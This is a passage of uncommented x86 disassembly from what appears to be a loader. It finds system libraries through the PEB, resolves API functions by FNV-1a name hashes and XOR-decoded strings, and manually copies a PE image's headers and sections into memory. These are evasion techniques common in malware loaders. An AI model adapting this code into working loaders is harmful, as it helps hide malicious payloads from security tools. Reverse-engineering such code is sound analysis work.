mov ecx, dword [esp + 0x1000]
cmp eax, ecx
je 0x43c99a
jmp 0x43c7fa
jmp 0x43c96c
lea eax, [esp + 0xfbc]
mov dword [esp + 0x1018], eax
mov eax, dword [esp + 0x1018]
mov ecx, dword [eax]
mov dword [esp + 0x1030], ecx
mov ecx, dword [esp + 0x1030]
mov ecx, dword [ecx]
mov dword [eax], ecx
jmp 0x43c739
mov eax, dword [esp + 0xfac]
lea ecx, [esp + 0xfb0]
mov dword [esp + 0x1014], ecx
mov dword [esp + 0x1010], eax
mov eax, dword [esp + 0x1014]
mov ecx, dword [eax]
mov edx, dword [eax + 4]
add ecx, dword [edx + 0x1c]
mov dword [esp + 0x100c], ecx
mov ecx, dword [eax]
mov edx, dword [eax + 4]
add ecx, dword [edx + 0x24]
mov dword [esp + 0x1008], ecx
mov eax, dword [eax]
mov ecx, dword [esp + 0x100c]
mov edx, dword [esp + 0x1008]
mov esi, dword [esp + 0x1010]
movzx edx, word [edx + esi*2]
add eax, dword [ecx + edx*4]
mov dword [esp + 0xfc0], eax
mov eax, dword [esp + 0xfc0]
mov dword [esp + 0xa8], eax
mov eax, dword [esp + 0x9b4]
mov dword [esp + 0xa20], eax
mov eax, dword [esp + 0xa20]
mov dword [esp + 0xa5c], eax
mov eax, dword [esp + 0xa5c]
mov dword [esp + 0xac], eax
mov dword [esp + 0xa98], eax
mov eax, dword [esp + 0xa98]
movsx eax, byte [eax + 0xf]
cmp eax, 0
je 0x43caca
mov eax, dword [esp + 0xac]
mov dword [esp + 0xb14], eax
mov dword [esp + 0xb10], eax
mov eax, dword [esp + 0xb14]
mov dword [esp + 0xa4], eax
mov dword [esp + 0xb0c], 0
cmp dword [esp + 0xb0c], 0x10
jge 0x43cac8
mov eax, dword [esp + 0xa4]
mov ecx, dword [esp + 0xb10]
mov edx, dword [esp + 0xb0c]
movsx ecx, byte [ecx + edx]
xor ecx, 0xffffffc2
xor ecx, 0xca
mov dl, cl
mov ecx, dword [esp + 0xb0c]
mov byte [eax + ecx], dl
mov eax, dword [esp + 0xb0c]
add eax, 1
mov dword [esp + 0xb0c], eax
jmp 0x43ca7d
jmp 0x43caca
mov eax, dword [esp + 0xa8]
mov edx, dword [esp + 0xac]
mov ecx, esp
mov dword [ecx], edx
call eax
sub esp, 4
jmp 0x43cae3
jmp 0x43cae5
mov ecx, dword [esp + 0x910]
mov eax, dword [esp + 0x8f0]
mov dword [eax + 0x34], ecx
mov eax, esp
lea ecx, [esp + 0x825]
mov dword [eax], ecx
lea ecx, [esp + 0x826]
call fcn.0043eff0
sub esp, 4
jmp 0x43cb12
lea eax, [esp + 0x836]
mov dword [esp + 0x9c0], eax
lea eax, [esp + 0x826]
mov dword [esp + 0x9bc], eax
lea eax, [esp + 0x1044]
mov dword [esp + 0x104c], eax
mov eax, dword [esp + 0x104c]
mov dword [esp + 0x10a8], 0x30
mov ecx, dword [esp + 0x10a8]
mov ecx, dword fs:[ecx]
mov dword [esp + 0x10a4], ecx
mov ecx, dword [esp + 0x10a4]
mov ecx, dword [ecx + 0xc]
mov ecx, dword [ecx + 0xc]
mov dword [eax], ecx
mov eax, dword [esp + 0x1044]
mov eax, dword [eax + 0x18]
lea ecx, [esp + 0x1038]
mov dword [esp + 0x105c], ecx
mov dword [esp + 0x1058], eax
mov eax, dword [esp + 0x105c]
mov ecx, dword [esp + 0x1058]
mov dword [eax], ecx
mov ecx, dword [esp + 0x1058]
mov dword [esp + 0x10ac], ecx
mov ecx, dword [esp + 0x10ac]
mov edx, dword [esp + 0x10ac]
mov edx, dword [edx + 0x3c]
mov esi, dword [ecx + edx + 0x78]
mov dword [esp + 0x1050], esi
mov ecx, dword [ecx + edx + 0x7c]
mov dword [esp + 0x1054], ecx
mov ecx, dword [esp + 0x1058]
add ecx, dword [esp + 0x1050]
mov dword [eax + 4], ecx
mov ecx, dword [esp + 0x1054]
mov dword [eax + 8], ecx
lea eax, [esp + 0x1038]
mov dword [esp + 0x1060], eax
mov ecx, dword [esp + 0x1060]
mov eax, dword [ecx + 4]
cmp eax, dword [ecx]
je 0x43cda1
lea eax, [esp + 0x1038]
mov dword [esp + 0x1064], eax
mov eax, dword [esp + 0x1064]
mov eax, dword [eax + 4]
mov eax, dword [eax + 0x18]
mov dword [esp + 0x1034], eax
mov eax, dword [esp + 0x1034]
mov ecx, eax
add ecx, 0xffffffff
mov dword [esp + 0x1034], ecx
cmp eax, 0
je 0x43cd9f
mov eax, dword [esp + 0x1034]
lea ecx, [esp + 0x1038]
mov dword [esp + 0x107c], ecx
mov dword [esp + 0x1078], eax
mov eax, dword [esp + 0x107c]
mov ecx, dword [eax]
mov eax, dword [eax + 4]
mov edx, dword [eax + 0x20]
mov eax, ecx
add eax, edx
mov edx, dword [esp + 0x1078]
mov eax, dword [eax + edx*4]
add ecx, eax
mov dword [esp + 0x1084], 0x6868aa9c
mov dword [esp + 0x1080], 0xf96f8db4
mov eax, dword [esp + 0x1084]
mov dword [esp + 0x1074], ecx
mov dword [esp + 0x1070], eax
mov eax, dword [esp + 0x1070]
mov dword [esp + 0x106c], eax
mov eax, dword [esp + 0x1074]
mov ecx, eax
add ecx, 1
mov dword [esp + 0x1074], ecx
mov al, byte [eax]
mov byte [esp + 0x106b], al
cmp byte [esp + 0x106b], 0
je 0x43cd72
mov ecx, dword [esp + 0x106c]
mov al, byte [esp + 0x106b]
mov dword [esp + 0x10b4], ecx
mov byte [esp + 0x10b3], al
mov eax, dword [esp + 0x10b4]
mov dword [esp + 0xa0], eax
movsx eax, byte [esp + 0x10b3]
cmp eax, 0x41
jl 0x43cd41
movsx eax, byte [esp + 0x10b3]
cmp eax, 0x5a
jg 0x43cd41
movsx eax, byte [esp + 0x10b3]
or eax, 0x20
mov dword [esp + 0x9c], eax
jmp 0x43cd50
movsx eax, byte [esp + 0x10b3]
mov dword [esp + 0x9c], eax
mov eax, dword [esp + 0xa0]
mov ecx, dword [esp + 0x9c]
xor eax, ecx
imul eax, eax, 0x1000193
mov dword [esp + 0x106c], eax
jmp 0x43ccbf
mov eax, dword [esp + 0x106c]
mov dword [esp + 0x108c], 0x6868aa9c
mov dword [esp + 0x1088], 0xf96f8db4
mov ecx, dword [esp + 0x1088]
cmp eax, ecx
je 0x43cdcf
jmp 0x43cc2f
jmp 0x43cda1
lea eax, [esp + 0x1044]
mov dword [esp + 0x10a0], eax
mov eax, dword [esp + 0x10a0]
mov ecx, dword [eax]
mov dword [esp + 0x10b8], ecx
mov ecx, dword [esp + 0x10b8]
mov ecx, dword [ecx]
mov dword [eax], ecx
jmp 0x43cb6e
mov eax, dword [esp + 0x1034]
lea ecx, [esp + 0x1038]
mov dword [esp + 0x109c], ecx
mov dword [esp + 0x1098], eax
mov eax, dword [esp + 0x109c]
mov ecx, dword [eax]
mov edx, dword [eax + 4]
add ecx, dword [edx + 0x1c]
mov dword [esp + 0x1094], ecx
mov ecx, dword [eax]
mov edx, dword [eax + 4]
add ecx, dword [edx + 0x24]
mov dword [esp + 0x1090], ecx
mov eax, dword [eax]
mov ecx, dword [esp + 0x1094]
mov edx, dword [esp + 0x1090]
mov esi, dword [esp + 0x1098]
movzx edx, word [edx + esi*2]
add eax, dword [ecx + edx*4]
mov dword [esp + 0x1048], eax
mov eax, dword [esp + 0x1048]
mov dword [esp + 0x94], eax
mov eax, dword [esp + 0x9bc]
mov dword [esp + 0xa1c], eax
mov eax, dword [esp + 0xa1c]
mov dword [esp + 0xa60], eax
mov eax, dword [esp + 0xa60]
mov dword [esp + 0x98], eax
mov dword [esp + 0xa94], eax
mov eax, dword [esp + 0xa94]
movsx eax, byte [eax + 0xf]
cmp eax, 0
je 0x43ceff
mov eax, dword [esp + 0x98]
mov dword [esp + 0xb08], eax
mov dword [esp + 0xb04], eax
mov eax, dword [esp + 0xb08]
mov dword [esp + 0x90], eax
mov dword [esp + 0xb00], 0
cmp dword [esp + 0xb00], 0x10
jge 0x43cefd
mov eax, dword [esp + 0x90]
mov ecx, dword [esp + 0xb04]
mov edx, dword [esp + 0xb00]
movsx ecx, byte [ecx + edx]
xor ecx, 0xffffffc2
xor ecx, 0xca
mov dl, cl
mov ecx, dword [esp + 0xb00]
mov byte [eax + ecx], dl
mov eax, dword [esp + 0xb00]
add eax, 1
mov dword [esp + 0xb00], eax
jmp 0x43ceb2
jmp 0x43ceff
mov eax, dword [esp + 0x94]
mov edx, dword [esp + 0x98]
mov ecx, esp
mov dword [ecx], edx
call eax
sub esp, 4
jmp 0x43cf18
jmp 0x43cf1a
mov ecx, dword [esp + 0x910]
mov edx, dword [esp + 0x918]
mov eax, dword [esp + 0x8f0]
mov esi, dword [eax + 0x54]
mov eax, esp
mov dword [eax + 8], esi
mov dword [eax + 4], edx
mov dword [eax], ecx
call sub.msvcrt.dll_memcpy
mov eax, esp
lea ecx, [esp + 0x813]
mov dword [eax], ecx
lea ecx, [esp + 0x814]
call fcn.0043f050
sub esp, 4
jmp 0x43cf5d
lea eax, [esp + 0x824]
mov dword [esp + 0x9c8], eax
lea eax, [esp + 0x814]
mov dword [esp + 0x9c4], eax
lea eax, [esp + 0x10cc]
mov dword [esp + 0x10d4], eax
mov eax, dword [esp + 0x10d4]
mov dword [esp + 0x1130], 0x30
mov ecx, dword [esp + 0x1130]
mov ecx, dword fs:[ecx]
mov dword [esp + 0x112c], ecx
mov ecx, dword [esp + 0x112c]
mov ecx, dword [ecx + 0xc]
mov ecx, dword [ecx + 0xc]
mov dword [eax], ecx
mov eax, dword [esp + 0x10cc]
mov eax, dword [eax + 0x18]
lea ecx, [esp + 0x10c0]
mov dword [esp + 0x10e4], ecx
mov dword [esp + 0x10e0], eax
mov eax, dword [esp + 0x10e4]
mov ecx, dword [esp + 0x10e0]
mov dword [eax], ecx
mov ecx, dword [esp + 0x10e0]
mov dword [esp + 0x1134], ecx
mov ecx, dword [esp + 0x1134]
mov edx, dword [esp + 0x1134]
mov edx, dword [edx + 0x3c]
mov esi, dword [ecx + edx + 0x78]
mov dword [esp + 0x10d8], esi
mov ecx, dword [ecx + edx + 0x7c]
mov dword [esp + 0x10dc], ecx
mov ecx, dword [esp + 0x10e0]
add ecx, dword [esp + 0x10d8]
mov dword [eax + 4], ecx
mov ecx, dword [esp + 0x10dc]
mov dword [eax + 8], ecx
lea eax, [esp + 0x10c0]
mov dword [esp + 0x10e8], eax
mov ecx, dword [esp + 0x10e8]
mov eax, dword [ecx + 4]
cmp eax, dword [ecx]
je 0x43d1ec
lea eax, [esp + 0x10c0]
mov dword [esp + 0x10ec], eax
mov eax, dword [esp + 0x10ec]
mov eax, dword [eax + 4]
mov eax, dword [eax + 0x18]
mov dword [esp + 0x10bc], eax
mov eax, dword [esp + 0x10bc]
mov ecx, eax
add ecx, 0xffffffff
mov dword [esp + 0x10bc], ecx
cmp eax, 0
je 0x43d1ea
mov eax, dword [esp + 0x10bc]
lea ecx, [esp + 0x10c0]
mov dword [esp + 0x1104], ecx
mov dword [esp + 0x1100], eax
mov eax, dword [esp + 0x1104]
mov ecx, dword [eax]
mov eax, dword [eax + 4]
mov edx, dword [eax + 0x20]
mov eax, ecx
add eax, edx
mov edx, dword [esp + 0x1100]
mov eax, dword [eax + edx*4]
add ecx, eax
mov dword [esp + 0x110c], 0x33f832b5
mov dword [esp + 0x1108], 0xccd0ff75
mov eax, dword [esp + 0x110c]
mov dword [esp + 0x10fc], ecx
mov dword [esp + 0x10f8], eax
mov eax, dword [esp + 0x10f8]
mov dword [esp + 0x10f4], eax
mov eax, dword [esp + 0x10fc]
mov ecx, eax
add ecx, 1
mov dword [esp + 0x10fc], ecx
mov al, byte [eax]
mov byte [esp + 0x10f3], al
cmp byte [esp + 0x10f3], 0
je 0x43d1bd
mov ecx, dword [esp + 0x10f4]
mov al, byte [esp + 0x10f3]
mov dword [esp + 0x113c], ecx
mov byte [esp + 0x113b], al
mov eax, dword [esp + 0x113c]
mov dword [esp + 0x8c], eax
movsx eax, byte [esp + 0x113b]
cmp eax, 0x41
jl 0x43d18c
movsx eax, byte [esp + 0x113b]
cmp eax, 0x5a
jg 0x43d18c
movsx eax, byte [esp + 0x113b]
or eax, 0x20
mov dword [esp + 0x88], eax
jmp 0x43d19b
movsx eax, byte [esp + 0x113b]
mov dword [esp + 0x88], eax
mov eax, dword [esp + 0x8c]
mov ecx, dword [esp + 0x88]
xor eax, ecx
imul eax, eax, 0x1000193
mov dword [esp + 0x10f4], eax
jmp 0x43d10a
mov eax, dword [esp + 0x10f4]
mov dword [esp + 0x1114], 0x33f832b5
mov dword [esp + 0x1110], 0xccd0ff75
mov ecx, dword [esp + 0x1110]
cmp eax, ecx
je 0x43d21a
jmp 0x43d07a
jmp 0x43d1ec
lea eax, [esp + 0x10cc]
mov dword [esp + 0x1128], eax
mov eax, dword [esp + 0x1128]
mov ecx, dword [eax]
mov dword [esp + 0x1140], ecx
mov ecx, dword [esp + 0x1140]
mov ecx, dword [ecx]
mov dword [eax], ecx
jmp 0x43cfb9
mov eax, dword [esp + 0x10bc]
lea ecx, [esp + 0x10c0]
mov dword [esp + 0x1124], ecx
mov dword [esp + 0x1120], eax
mov eax, dword [esp + 0x1124]
mov ecx, dword [eax]
mov edx, dword [eax + 4]
add ecx, dword [edx + 0x1c]
mov dword [esp + 0x111c], ecx
mov ecx, dword [eax]
mov edx, dword [eax + 4]
add ecx, dword [edx + 0x24]
mov dword [esp + 0x1118], ecx
mov eax, dword [eax]
mov ecx, dword [esp + 0x111c]
mov edx, dword [esp + 0x1118]
mov esi, dword [esp + 0x1120]
movzx edx, word [edx + esi*2]
add eax, dword [ecx + edx*4]
mov dword [esp + 0x10d0], eax
mov eax, dword [esp + 0x10d0]
mov dword [esp + 0x80], eax
mov eax, dword [esp + 0x9c4]
mov dword [esp + 0xa18], eax
mov eax, dword [esp + 0xa18]
mov dword [esp + 0xa64], eax
mov eax, dword [esp + 0xa64]
mov dword [esp + 0x84], eax
mov dword [esp + 0xa90], eax
mov eax, dword [esp + 0xa90]
movsx eax, byte [eax + 0xf]
cmp eax, 0
je 0x43d344
mov eax, dword [esp + 0x84]
mov dword [esp + 0xafc], eax
mov dword [esp + 0xaf8], eax
mov eax, dword [esp + 0xafc]
mov dword [esp + 0x7c], eax
mov dword [esp + 0xaf4], 0
cmp dword [esp + 0xaf4], 0x10
jge 0x43d342
mov eax, dword [esp + 0x7c]
mov ecx, dword [esp + 0xaf8]
mov edx, dword [esp + 0xaf4]
movsx ecx, byte [ecx + edx]
xor ecx, 0xffffffc2
xor ecx, 0xca
mov dl, cl
mov ecx, dword [esp + 0xaf4]
mov byte [eax + ecx], dl
mov eax, dword [esp + 0xaf4]
add eax, 1
mov dword [esp + 0xaf4], eax
jmp 0x43d2fa
jmp 0x43d344
mov eax, dword [esp + 0x80]
mov edx, dword [esp + 0x84]
mov ecx, esp
mov dword [ecx], edx
call eax
sub esp, 4
jmp 0x43d35d
jmp 0x43d35f
mov eax, dword [esp + 0x8f0]
add eax, 0xf8
mov dword [esp + 0x80c], eax
mov eax, esp
lea ecx, [esp + 0x7fa]
mov dword [eax], ecx
lea ecx, [esp + 0x7fb]
call fcn.0043f0b0
sub esp, 4
jmp 0x43d38e
lea eax, [esp + 0x80b]
mov dword [esp + 0x9d0], eax
lea eax, [esp + 0x7fb]
mov dword [esp + 0x9cc], eax
lea eax, [esp + 0x1154]
mov dword [esp + 0x115c], eax
mov eax, dword [esp + 0x115c]
mov dword [esp + 0x11b8], 0x30
mov ecx, dword [esp + 0x11b8]
mov ecx, dword fs:[ecx]
mov dword [esp + 0x11b4], ecx
mov ecx, dword [esp + 0x11b4]
mov ecx, dword [ecx + 0xc]
mov ecx, dword [ecx + 0xc]
mov dword [eax], ecx
mov eax, dword [esp + 0x1154]
mov eax, dword [eax + 0x18]
lea ecx, [esp + 0x1148]
mov dword [esp + 0x116c], ecx
mov dword [esp + 0x1168], eax
mov eax, dword [esp + 0x116c]
mov ecx, dword [esp + 0x1168]
mov dword [eax], ecx
mov ecx, dword [esp + 0x1168]
mov dword [esp + 0x11bc], ecx
mov ecx, dword [esp + 0x11bc]
mov edx, dword [esp + 0x11bc]
mov edx, dword [edx + 0x3c]
mov esi, dword [ecx + edx + 0x78]
mov dword [esp + 0x1160], esi
mov ecx, dword [ecx + edx + 0x7c]
mov dword [esp + 0x1164], ecx
mov ecx, dword [esp + 0x1168]
add ecx, dword [esp + 0x1160]
mov dword [eax + 4], ecx
mov ecx, dword [esp + 0x1164]
mov dword [eax + 8], ecx
lea eax, [esp + 0x1148]
mov dword [esp + 0x1170], eax
mov ecx, dword [esp + 0x1170]
mov eax, dword [ecx + 4]
cmp eax, dword [ecx]
je 0x43d60a
lea eax, [esp + 0x1148]
mov dword [esp + 0x1174], eax
mov eax, dword [esp + 0x1174]
mov eax, dword [eax + 4]
mov eax, dword [eax + 0x18]
mov dword [esp + 0x1144], eax
mov eax, dword [esp + 0x1144]
mov ecx, eax
add ecx, 0xffffffff
mov dword [esp + 0x1144], ecx
cmp eax, 0
je 0x43d608
mov eax, dword [esp + 0x1144]
lea ecx, [esp + 0x1148]
mov dword [esp + 0x118c], ecx
mov dword [esp + 0x1188], eax
mov eax, dword [esp + 0x118c]
mov ecx, dword [eax]
mov eax, dword [eax + 4]
mov edx, dword [eax + 0x20]
mov eax, ecx
add eax, edx
mov edx, dword [esp + 0x1188]
mov eax, dword [eax + edx*4]
add ecx, eax
mov dword [esp + 0x1194], 0xe73101e2
mov dword [esp + 0x1190], 0x952dc3c6
mov eax, dword [esp + 0x1194]
mov dword [esp + 0x1184], ecx
mov dword [esp + 0x1180], eax
mov eax, dword [esp + 0x1180]
mov dword [esp + 0x117c], eax
mov eax, dword [esp + 0x1184]
mov ecx, eax
add ecx, 1
mov dword [esp + 0x1184], ecx
mov al, byte [eax]
mov byte [esp + 0x117b], al
cmp byte [esp + 0x117b], 0
je 0x43d5db
mov ecx, dword [esp + 0x117c]
mov al, byte [esp + 0x117b]
mov dword [esp + 0x11c4], ecx
mov byte [esp + 0x11c3], al
mov eax, dword [esp + 0x11c4]
mov dword [esp + 0x78], eax
movsx eax, byte [esp + 0x11c3]
cmp eax, 0x41
jl 0x43d5b3
movsx eax, byte [esp + 0x11c3]
cmp eax, 0x5a
jg 0x43d5b3
movsx eax, byte [esp + 0x11c3]
or eax, 0x20
mov dword [esp + 0x74], eax
jmp 0x43d5bf
movsx eax, byte [esp + 0x11c3]
mov dword [esp + 0x74], eax
mov eax, dword [esp + 0x78]
mov ecx, dword [esp + 0x74]
xor eax, ecx
imul eax, eax, 0x1000193
mov dword [esp + 0x117c], eax
jmp 0x43d53b
mov eax, dword [esp + 0x117c]
mov dword [esp + 0x119c], 0xe73101e2
mov dword [esp + 0x1198], 0x952dc3c6
mov ecx, dword [esp + 0x1198]
cmp eax, ecx
je 0x43d638
jmp 0x43d4ab
jmp 0x43d60a
lea eax, [esp + 0x1154]
mov dword [esp + 0x11b0], eax
mov eax, dword [esp + 0x11b0]
mov ecx, dword [eax]
mov dword [esp + 0x11c8], ecx
mov ecx, dword [esp + 0x11c8]
mov ecx, dword [ecx]
mov dword [eax], ecx
jmp 0x43d3ea
mov eax, dword [esp + 0x1144]
lea ecx, [esp + 0x1148]
mov dword [esp + 0x11ac], ecx
mov dword [esp + 0x11a8], eax
mov eax, dword [esp + 0x11ac]
mov ecx, dword [eax]
mov edx, dword [eax + 4]
add ecx, dword [edx + 0x1c]
mov dword [esp + 0x11a4], ecx
mov ecx, dword [eax]
mov edx, dword [eax + 4]
add ecx, dword [edx + 0x24]
mov dword [esp + 0x11a0], ecx
mov eax, dword [eax]
mov ecx, dword [esp + 0x11a4]
mov edx, dword [esp + 0x11a0]
mov esi, dword [esp + 0x11a8]
movzx edx, word [edx + esi*2]
add eax, dword [ecx + edx*4]
mov dword [esp + 0x1158], eax
mov eax, dword [esp + 0x1158]
mov dword [esp + 0x6c], eax
mov eax, dword [esp + 0x9cc]
mov dword [esp + 0xa14], eax
mov eax, dword [esp + 0xa14]
mov dword [esp + 0xa68], eax
mov eax, dword [esp + 0xa68]
mov dword [esp + 0x70], eax
mov dword [esp + 0xa8c], eax
mov eax, dword [esp + 0xa8c]
movsx eax, byte [eax + 0xf]
cmp eax, 0
je 0x43d759
mov eax, dword [esp + 0x70]
mov dword [esp + 0xaf0], eax
mov dword [esp + 0xaec], eax
mov eax, dword [esp + 0xaf0]
mov dword [esp + 0x68], eax
mov dword [esp + 0xae8], 0
cmp dword [esp + 0xae8], 0x10
jge 0x43d757
mov eax, dword [esp + 0x68]
mov ecx, dword [esp + 0xaec]
mov edx, dword [esp + 0xae8]
movsx ecx, byte [ecx + edx]
xor ecx, 0xffffffc2
xor ecx, 0xca
mov dl, cl
mov ecx, dword [esp + 0xae8]
mov byte [eax + ecx], dl
mov eax, dword [esp + 0xae8]
add eax, 1
mov dword [esp + 0xae8], eax
jmp 0x43d70f
jmp 0x43d759
mov eax, dword [esp + 0x6c]
mov edx, dword [esp + 0x70]
mov ecx, esp
mov dword [ecx], edx
call eax
sub esp, 4
jmp 0x43d76c
jmp 0x43d76e
mov dword [esp + 0x7f4], 0
mov eax, dword [esp + 0x7f4]
mov ecx, dword [esp + 0x8f0]
movzx ecx, word [ecx + 6]
cmp eax, ecx
jge 0x43dbe5
mov ecx, dword [esp + 0x910]
mov eax, dword [esp + 0x80c]
mov edx, dword [esp + 0x7f4]
lea edi, [edx + edx*4]
mov edx, dword [eax + edi*8 + 0xc]
mov esi, dword [eax + edi*8 + 0x10]
add ecx, edx
mov edx, dword [esp + 0x918]
mov eax, dword [eax + edi*8 + 0x14]
add edx, eax
mov eax, esp
mov dword [eax + 8], esi
mov dword [eax + 4], edx
mov dword [eax], ecx
call sub.msvcrt.dll_memcpy
mov eax, esp
lea ecx, [esp + 0x7e2]
mov dword [eax], ecx
lea ecx, [esp + 0x7e3]
call fcn.0043f110
sub esp, 4
jmp 0x43d7ed
lea eax, [esp + 0x7f3]
mov dword [esp + 0x9d8], eax
lea eax, [esp + 0x7e3]
mov dword [esp + 0x9d4], eax
lea eax, [esp + 0x11dc]
mov dword [esp + 0x11e4], eax
mov eax, dword [esp + 0x11e4]
mov dword [esp + 0x1240], 0x30
mov ecx, dword [esp + 0x1240]
mov ecx, dword fs:[ecx]
mov dword [esp + 0x123c], ecx
mov ecx, dword [esp + 0x123c]
mov ecx, dword [ecx + 0xc]
mov ecx, dword [ecx + 0xc]
mov dword [eax], ecx
mov eax, dword [esp + 0x11dc]
mov eax, dword [eax + 0x18]
lea ecx, [esp + 0x11d0]
mov dword [esp + 0x11f4], ecx
mov dword [esp + 0x11f0], eax
mov eax, dword [esp + 0x11f4]
mov ecx, dword [esp + 0x11f0]
mov dword [eax], ecx
mov ecx, dword [esp + 0x11f0]
mov dword [esp + 0x1244], ecx
mov ecx, dword [esp + 0x1244]
mov edx, dword [esp + 0x1244]
mov edx, dword [edx + 0x3c]
mov esi, dword [ecx + edx + 0x78]
mov dword [esp + 0x11e8], esi
mov ecx, dword [ecx + edx + 0x7c]
mov dword [esp + 0x11ec], ecx
mov ecx, dword [esp + 0x11f0]
add ecx, dword [esp + 0x11e8]
mov dword [eax + 4], ecx
mov ecx, dword [esp + 0x11ec]
mov dword [eax + 8], ecx
lea eax, [esp + 0x11d0]
mov dword [esp + 0x11f8], eax
mov ecx, dword [esp + 0x11f8]
mov eax, dword [ecx + 4]
cmp eax, dword [ecx]
je 0x43da69
lea eax, [esp + 0x11d0]
mov dword [esp + 0x11fc], eax
mov eax, dword [esp + 0x11fc]
mov eax, dword [eax + 4]
mov eax, dword [eax + 0x18]
mov dword [esp + 0x11cc], eax
mov eax, dword [esp + 0x11cc]
mov ecx, eax
add ecx, 0xffffffff
mov dword [esp + 0x11cc], ecx
cmp eax, 0
je 0x43da67
mov eax, dword [esp + 0x11cc]
lea ecx, [esp + 0x11d0]
mov dword [esp + 0x1214], ecx
mov dword [esp + 0x1210], eax
mov eax, dword [esp + 0x1214]
mov ecx, dword [eax]
mov eax, dword [eax + 4]
mov edx, dword [eax + 0x20]
mov eax, ecx
add eax, edx
mov edx, dword [esp + 0x1210]
mov eax, dword [eax + edx*4]
add ecx, eax
mov dword [esp + 0x121c], 0x23d2cedb
mov dword [esp + 0x1218], 0xbe8ce327
mov eax, dword [esp + 0x121c]
mov dword [esp + 0x120c], ecx
mov dword [esp + 0x1208], eax
mov eax, dword [esp + 0x1208]
mov dword [esp + 0x1204], eax
mov eax, dword [esp + 0x120c]
mov ecx, eax
add ecx, 1
mov dword [esp + 0x120c], ecx
mov al, byte [eax]
mov byte [esp + 0x1203], al
cmp byte [esp + 0x1203], 0
je 0x43da3a
mov ecx, dword [esp + 0x1204]
mov al, byte [esp + 0x1203]
mov dword [esp + 0x124c], ecx
mov byte [esp + 0x124b], al
mov eax, dword [esp + 0x124c]
mov dword [esp + 0x64], eax
movsx eax, byte [esp + 0x124b]
cmp eax, 0x41
jl 0x43da12
movsx eax, byte [esp + 0x124b]
cmp eax, 0x5a
jg 0x43da12
movsx eax, byte [esp + 0x124b]
or eax, 0x20
mov dword [esp + 0x60], eax
jmp 0x43da1e
movsx eax, byte [esp + 0x124b]
mov dword [esp + 0x60], eax
mov eax, dword [esp + 0x64]
mov ecx, dword [esp + 0x60]
xor eax, ecx
imul eax, eax, 0x1000193
mov dword [esp + 0x1204], eax
jmp 0x43d99a
mov eax, dword [esp + 0x1204]
mov dword [esp + 0x1224], 0x23d2cedb
mov dword [esp + 0x1220], 0xbe8ce327
mov ecx, dword [esp + 0x1220]
cmp eax, ecx
je 0x43da97
jmp 0x43d90a
jmp 0x43da69
lea eax, [esp + 0x11dc]
mov dword [esp + 0x1238], eax
mov eax, dword [esp + 0x1238]
mov ecx, dword [eax]
mov dword [esp + 0x1250], ecx
mov ecx, dword [esp + 0x1250]
mov ecx, dword [ecx]
mov dword [eax], ecx
jmp 0x43d849
mov eax, dword [esp + 0x11cc]
lea ecx, [esp + 0x11d0]
mov dword [esp + 0x1234], ecx
mov dword [esp + 0x1230], eax
mov eax, dword [esp + 0x1234]
mov ecx, dword [eax]
mov edx, dword [eax + 4]
add ecx, dword [edx + 0x1c]
mov dword [esp + 0x122c], ecx
mov ecx, dword [eax]
mov edx, dword [eax + 4]
add ecx, dword [edx + 0x24]
mov dword [esp + 0x1228], ecx
mov eax, dword [eax]
mov ecx, dword [esp + 0x122c]
mov edx, dword [esp + 0x1228]
mov esi, dword [esp + 0x1230]
movzx edx, word [edx + esi*2]
add eax, dword [ecx + edx*4]
mov dword [esp + 0x11e0], eax
mov eax, dword [esp + 0x11e0]
mov dword [esp + 0x58], eax
mov eax, dword [esp + 0x9d4]
mov dword [esp + 0xa10], eax
mov eax, dword [esp + 0xa10]
mov dword [esp + 0xa6c], eax
mov eax, dword [esp + 0xa6c]
mov dword [esp + 0x5c], eax
mov dword [esp + 0xa88], eax
mov eax, dword [esp + 0xa88]
movsx eax, byte [eax + 0xf]
cmp eax, 0
je 0x43dbb8
mov eax, dword [esp + 0x5c]
mov dword [esp + 0xae4], eax
mov dword [esp + 0xae0], eax
mov eax, dword [esp + 0xae4]
mov dword [esp + 0x54], eax
mov dword [esp + 0xadc], 0
cmp dword [esp + 0xadc], 0x10
jge 0x43dbb6
mov eax, dword [esp + 0x54]
mov ecx, dword [esp + 0xae0]
mov edx, dword [esp + 0xadc]
movsx ecx, byte [ecx + edx]
xor ecx, 0xffffffc2
xor ecx, 0xca
mov dl, cl
mov ecx, dword [esp + 0xadc]
mov byte [eax + ecx], dl
mov eax, dword [esp + 0xadc]
add eax, 1
mov dword [esp + 0xadc], eax
jmp 0x43db6e
jmp 0x43dbb8
mov eax, dword [esp + 0x58]
mov edx, dword [esp + 0x5c]
mov ecx, esp
mov dword [ecx], edx
call eax
sub esp, 4
jmp 0x43dbcb
jmp 0x43dbcd
jmp 0x43dbcf
mov eax, dword [esp + 0x7f4]
add eax, 1
mov dword [esp + 0x7f4], eax
jmp 0x43d779
mov ecx, dword [esp + 0x910]
mov eax, esp
mov dword [eax], ecx
call fcn.00411a30
jmp 0x43dbf7
mov eax, esp
lea ecx, [esp + 0x7d0]
mov dword [eax], ecx
lea ecx, [esp + 0x7d1]
call fcn.0043f170
sub esp, 4
jmp 0x43dc13
lea eax, [esp + 0x7e1]
mov dword [esp + 0x9e0], eax
lea eax, [esp + 0x7d1]
mov dword [esp + 0x9dc], eax
lea eax, [esp + 0x1264]
mov dword [esp + 0x126c], eax
mov eax, dword [esp + 0x126c]
mov dword [esp + 0x12c8], 0x30
mov ecx, dword [esp + 0x12c8]
mov ecx, dword fs:[ecx]
mov dword [esp + 0x12c4], ecx
mov ecx, dword [esp + 0x12c4]
mov ecx, dword [ecx + 0xc]
mov ecx, dword [ecx + 0xc]
mov dword [eax], ecx
mov eax, dword [esp + 0x1264]
mov eax, dword [eax + 0x18]
lea ecx, [esp + 0x1258]
mov dword [esp + 0x127c], ecx
mov dword [esp + 0x1278], eax
mov eax, dword [esp + 0x127c]
mov ecx, dword [esp + 0x1278]
mov dword [eax], ecx
mov ecx, dword [esp + 0x1278]
mov dword [esp + 0x12cc], ecx
mov ecx, dword [esp + 0x12cc]
mov edx, dword [esp + 0x12cc]
mov edx, dword [edx + 0x3c]
mov esi, dword [ecx + edx + 0x78]
mov dword [esp + 0x1270], esi
mov ecx, dword [ecx + edx + 0x7c]
mov dword [esp + 0x1274], ecx
mov ecx, dword [esp + 0x1278]
add ecx, dword [esp + 0x1270]
mov dword [eax + 4], ecx
mov ecx, dword [esp + 0x1274]
mov dword [eax + 8], ecx
lea eax, [esp + 0x1258]
mov dword [esp + 0x1280], eax
mov ecx, dword [esp + 0x1280]
mov eax, dword [ecx + 4]
cmp eax, dword [ecx]
